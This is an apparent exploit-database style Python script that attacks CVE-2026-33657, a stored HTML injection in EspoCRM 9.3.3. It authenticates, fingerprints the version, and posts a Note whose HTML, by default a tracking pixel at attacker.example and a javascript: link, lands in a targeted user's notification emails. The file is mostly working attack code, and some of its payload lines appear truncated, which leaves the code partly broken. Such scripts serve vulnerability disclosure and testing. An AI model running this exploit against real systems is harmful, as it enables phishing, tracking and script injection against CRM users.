#!/usr/bin/env python3
#
# Exploit Title: EspoCRM 9.3.3 - Stored HTML Injection in Email Notifications
# Date: 2026-05-08
# Exploit Author: EntroVyx
# Vendor Homepage: https://www.espocrm.com/
# Software Link: https://github.com/espocrm/espocrm
# Version: 9.3.3
# CVE: CVE-2026-33657
# Advisory: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
#
# Usage:
# python3 CVE-2026-33657.py -u http://127.0.0.1:8083 -U testuser -P 'Admin12345!' --mention admin
# python3 CVE-2026-33657.py -u https://target.example -U user -P pass --mention victim --tracking-url https://attacker.example/pixel.gif
#
# The exploit creates a stream Note containing HTML that EspoCRM 9.3.3 renders
# unescaped in email-notification templates. Delivery happens when EspoCRM's
# normal SendEmailNotifications job/cron processes the queued notification.
import argparse
import json
import sys
from urllib.parse import urlparse
import requests
VULNERABLE_VERSIONS = {"9.3.3"}
FIXED_VERSION = "9.3.4"
def normalize_base_url(value):
value = value.rstrip("/")
parsed = urlparse(value)
if not parsed.scheme or not parsed.netloc:
raise argparse.ArgumentTypeError("target URL must include scheme and host")
return value
def find_key_values(value, key):
found = []
if isinstance(value, dict):
for item_key, item_value in value.items():
if item_key == key:
found.append(item_value)
found.extend(find_key_values(item_value, key))
elif isinstance(value, list):
for item in value:
found.extend(find_key_values(item, key))
return found
def get_version(data):
versions = [item for item in find_key_values(data, "version") if isinstance(item, str)]
if not versions:
return None
return versions[0]
def get_app_user(session, base_url, timeout):
response = session.get(f"{base_url}/api/v1/App/user", timeout=timeout)
if response.status_code != 200:
return response, None
try:
return response, response.json()
except ValueError:
return response, None
def build_payload(args):
if args.payload:
return args.payload
return (
f'
'
f're-auth'
)
def create_note(session, base_url, post, target_user_id, target_user_name, timeout):
endpoint = f"{base_url}/api/v1/Note"
payload = {
"type": "Post",
"post": post,
}
if target_user_id:
payload["targetType"] = "users"
payload["usersIds"] = [target_user_id]
if target_user_name:
payload["usersNames"] = {target_user_id: target_user_name}
return session.post(endpoint, json=payload, timeout=timeout)
def short_body(response):
body = response.text.replace("\r", "\\r").replace("\n", "\\n")
if len(body) > 700:
return body[:700] + "..."
return body
def parse_note_response(response):
try:
data = response.json()
except json.JSONDecodeError:
return None
return data if isinstance(data, dict) else None
def print_version_status(version, force):
if not version:
print("[!] Could not read version from /api/v1/App/user.")
return True
print(f"[*] Detected version: {version}")
if version in VULNERABLE_VERSIONS:
print(f"[+] Version fingerprint is vulnerable: EspoCRM {version}.")
return True
if version == "@@version":
print("[!] Version is '@@version', usually a source-tree build. Continuing because this lab/source build may still be 9.3.3.")
return True
if force:
print(f"[!] Version is not the known vulnerable release. Continuing because --force was supplied.")
return True
print(f"[-] Version fingerprint is not vulnerable. CVE-2026-33657 affects 9.3.3 and is fixed in {FIXED_VERSION}.")
print("[-] Use --force only if you already confirmed the target is a vulnerable build.")
return False
def run_detect_only(session, base_url, timeout):
response, data = get_app_user(session, base_url, timeout)
print(f"[*] /api/v1/App/user: HTTP {response.status_code}")
if response.status_code != 200 or data is None:
print("[-] Could not fingerprint EspoCRM with the supplied credentials.")
return 1
version = get_version(data)
if version in VULNERABLE_VERSIONS:
print(f"[+] Vulnerable by version: EspoCRM {version}.")
return 0
if version == "@@version":
print("[!] Indeterminate: source-tree build reports '@@version'.")
return 3
print(f"[-] Not vulnerable by version. Detected: {version or 'unknown'}.")
return 2
def main():
parser = argparse.ArgumentParser(
description="Authenticated EspoCRM CVE-2026-33657 stored HTML injection exploit."
)
parser.add_argument("-u", "--url", required=True, type=normalize_base_url, help="Base URL, e.g. http://host:8083")
parser.add_argument("-U", "--username", required=True, help="EspoCRM username")
parser.add_argument("-P", "--password", required=True, help="EspoCRM password")
parser.add_argument("--mention", help="Username to mention, without @. Preferred path for mention email notifications.")
parser.add_argument("--target-user-id", help="Optional user id for targeted stream-post notifications")
parser.add_argument("--target-user-name", help="Display name for --target-user-id")
parser.add_argument("--payload", help="Raw HTML payload to place in the Note post")
parser.add_argument("--tracking-url", default="http://attacker.example/track.gif", help="Tracking pixel URL for default payload")
parser.add_argument("--link-url", default="javascript:alert(33657)", help="Link URL for default payload")
parser.add_argument("--marker", default="CVE-2026-33657", help="Marker text included before the payload")
parser.add_argument("--timeout", type=float, default=15.0, help="HTTP timeout")
parser.add_argument("--detect-only", action="store_true", help="Only fingerprint the version; do not create a Note")
parser.add_argument("--skip-version-check", action="store_true", help="Do not call /api/v1/App/user before exploitation")
parser.add_argument("--force", action="store_true", help="Exploit even if the version fingerprint is not 9.3.3")
parser.add_argument("--insecure", action="store_true", help="Disable TLS certificate verification")
args = parser.parse_args()
session = requests.Session()
session.auth = (args.username, args.password)
session.headers.update({"Accept": "application/json"})
session.verify = not args.insecure
print(f"[*] Target: {args.url}")
if args.detect_only:
print("[*] Mode: detect-only. No Note will be created.")
return run_detect_only(session, args.url, args.timeout)
if not args.mention and not args.target_user_id:
print("[-] Active exploitation requires a delivery target.")
print("[-] Use --mention or --target-user-id .")
return 2
if not args.skip_version_check:
response, data = get_app_user(session, args.url, args.timeout)
print(f"[*] /api/v1/App/user: HTTP {response.status_code}")
if response.status_code != 200 or data is None:
print("[-] Authentication failed or App/user did not return JSON.")
return 1
if not print_version_status(get_version(data), args.force):
return 2
payload = build_payload(args)
prefix = f"@{args.mention} " if args.mention else ""
post = f"{prefix}{args.marker} {payload}"
print(f"[*] Creating malicious Note as {args.username}")
response = create_note(
session,
args.url,
post,
args.target_user_id,
args.target_user_name,
args.timeout,
)
print(f"[*] Note response: HTTP {response.status_code} {short_body(response)}")
if response.status_code != 200:
print("[-] The Note was not created.")
return 1
data = parse_note_response(response)
if not data:
print("[-] The server did not return a valid Note JSON object.")
return 1
note_id = data.get("id")
stored_post = data.get("post", "")
mentions = (data.get("data") or {}).get("mentions") or {}
notified_user_ids = data.get("notifiedUserIdList") or []
expected_mention = f"@{args.mention}" if args.mention else None
if args.marker not in stored_post or "
user id {target.get('id')}")
else:
print(f"[!] Mention {expected_mention} was not parsed. Check message/mention permissions and target username.")
if notified_user_ids:
print(f"[+] Notification target list returned by API: {', '.join(notified_user_ids)}")
else:
print("[!] API did not return notifiedUserIdList. Email delivery may still depend on EspoCRM notification settings.")
if args.target_user_id:
print(f"[+] Targeted stream post requested for user id: {args.target_user_id}")
print("[+] Complete remote trigger submitted.")
print("[+] When EspoCRM's SendEmailNotifications job/cron runs, vulnerable 9.3.3 renders this Note through Markdown and {{{post}}}.")
print("[+] The resulting HTML email body preserves the injected
tag and javascript: link.")
return 0
if __name__ == "__main__":
try:
sys.exit(main())
except requests.RequestException as exc:
print(f"[-] HTTP error: {exc}")
sys.exit(1)